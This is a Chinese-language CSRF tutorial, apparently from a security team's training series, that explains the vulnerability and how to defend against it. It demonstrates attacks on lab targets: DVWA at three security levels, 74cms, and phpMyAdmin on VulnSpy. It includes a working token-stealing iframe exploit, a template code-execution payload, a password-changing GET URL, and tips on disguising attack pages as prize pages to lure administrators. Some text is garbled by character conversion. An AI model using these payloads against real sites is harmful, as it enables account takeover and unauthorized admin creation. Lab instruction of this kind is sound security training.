本文由紅日安全成員: Once 編寫,若有不當,還望斧正。javascript
你們好,咱們是紅日安全-Web安全***小組。此項目是關於Web安全的系列文章分享,還包含一個HTB靶場供你們練習,咱們給這個項目起了一個名字叫 Web安全實戰 ,但願對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡介-漏洞原理-漏洞危害-測試方法(手工測試,工具測試)-靶場測試(分爲PHP靶場、JAVA靶場、Python靶場基本上三種靶場所有涵蓋)-實戰演練(主要選擇相應CMS或者是Vulnhub進行實戰演練),若是對你們有幫助請Star鼓勵咱們創做更好文章。若是你願意加入咱們,一塊兒完善這個項目,歡迎經過郵件形式(sec-redclub@qq.com)聯繫咱們。php
CSRF(跨站請求僞造),是指利用受害者還沒有失效的身份認證信息( cookie、會話
等),誘騙其點擊惡意連接或者訪問包含***代碼的頁面,在受害人不知情的狀況下
以受害者的身份向(身份認證信息所對應的)服務器發送請求,從而完成非法操做
(如轉帳、改密等)。CSRF與XSS最大的區別就在於,CSRF並無盜取cookie而是直接利用html
GET型CSRF漏洞,只須要構造URL,而後誘導受害者訪問利用。java
POST型CSRF漏洞,須要構造自動提交或點擊提交的表單,而後誘導受害者訪問或點擊利用。mysql
未驗證 Referer或者使用 Token 致使用戶或者管理員可被 CSRF添加、修改、刪除等操做git
一、添加隨機token值,並驗證。
二、驗證Referer
三、關鍵請求使用驗證碼功能github
尋找增刪改的地方,構造HTML,修改HTML表單中某些參數,使用瀏覽器打開該HTML,點擊提交表單後查看響應結果,看該操做是否成功執行。web
使用burpsuite中Engagement tools的Generate CSRF PoC模塊
右擊要csrf***的url,選擇Generate CSRF POC模塊
而後就構造好了***腳本,value就是要修改爲的密碼
Test in browser通常用於本身測試用
而後點擊copy
而後用代理burpsuite的瀏覽器打開
點擊submit request便可修改爲功密碼
Copy HTML 通常用於***其餘人,複製下代碼保存爲HTML文檔
能夠簡單修改箇中獎頁面,誘惑受害者點擊
點擊領獎成功修改密碼
sql
下載地址:https://www.owasp.org/index.php/File:CSRFTester-1.0.zip
下載後點擊run.bat
正常打開,並監聽8008端口,須要把瀏覽器代理設置爲8008
點擊Start Recording,開啓CSRFTester檢測工做,咱們這裏抓添加管理員的數據包
而後右擊刪除沒用的數據包
點擊Generate HTML生成CSRF***腳本,咱們此次添加test1帳號
打開此文件,成功添加帳號
數據庫
下載地址:https://codeload.github.com/ethicalhack3r/DVWA/zip/master
漏洞環境:windows、phpstudy
先把config目錄下config.inc.php.dist文件名修改成config.inc.php,數據庫密碼修改成本身的。
而後訪問dvwa,由於csrf漏洞不涉及紅色部分配置,直接建立便可
建立成功,帳號密碼是admin/password
這裏能夠調相應的安全等級
從代碼中能夠看出未做任何防護,直接更改密碼。
if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }
先使用burpsuite進行抓修改密碼的數據包
再使用Generate CSRF PoC進行構造poc
CSRF HTML中的代碼是構造好的
把構造好的代碼複製出來,複製到本身建立的HTML文件裏,value裏的值是要修改爲的密碼。
點擊submit request便可修改
修改爲功
從代碼中能夠看出先檢測referer是否包含主機名稱,再進行更改密碼。
if( isset( $_GET[ 'Change' ] ) ) { // Checks to see where the request came from if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source $html .= "<pre>That request didn't look correct.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }
先看下phpinfo中SERVER_NAME是什麼
訪問poc,並抓包修改referer,添加localhost進行繞過
修改爲功
從代碼能夠看出增長了Anti-CSRF token機制,用戶每次訪問更改頁面時,服務器都會返回一個隨機token,向服務器發送請求時,並帶上隨機token,服務端接收的時候先對token進行檢查是否正確,纔會處理客戶端請求。
if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token
generateSessionToken();
要繞過Anti-CSRF token機制,首先要獲取token,再使用這個token進行修改密碼。
而後構造如下代碼
<html> <body> <script type="text/javascript"> function attack() { document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value; document.getElementById("transfer").submit(); } </script> <iframe src="http://192.168.1.108/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"> </iframe> <body onload="attack()"> <form method="GET" id="transfer" action="http://192.168.1.108/dvwa/vulnerabilities/csrf"> <input type="hidden" name="password_new" value="hongri"> <input type="hidden" name="password_conf" value="hongri"> <input type="hidden" name="user_token" value=""> <input type="hidden" name="Change" value="Change"> </form> </body> </html>
https://www.freebuf.com/articles/web/118352.html
騎士cms下載地址:http://www.74cms.com/download/load/id/155.html
漏洞環境:windows、phpstudy
存在漏洞:POS型CSRF、代碼執行
安裝好後,進入添加管理員界面進行抓包
使用Generate CSRF PoC生成HTML代碼,並添加個中獎圖片,簡單假裝成中獎頁面。
還能夠用短域名繼續假裝
而後誘導管理員打開並點擊,建立成功
使用建立的帳號密碼登陸
使用代碼執行漏洞執行phpinfo
poc:index.php?m=Admin&c=Tpl&a=set&tpl_dir=a'.${phpinfo()}.'
http://www.yqxiaojunjie.com/index.php/archives/341/
此漏洞使用VulnSpy在線靶機
靶機地址:https://www.vulnspy.com/?u=pmasa-2017-9
存在漏洞:GET型CSRF
點擊開啓實驗
能夠登陸也能夠不登陸
打開靶機地址,默認帳號密碼:root/toor,靶機只有十分鐘的時間
將當前用戶密碼更改成hongri,SQL命令
SET passsword=PASSWORD('hongri');
構造poc
http://f1496b741e86dce4b2f79f3e839f977d.vsplate.me:19830/pma/sql.php?db=mysql&table=user&sql_query=SET%20password %20=%20PASSWORD(%27hongri%27)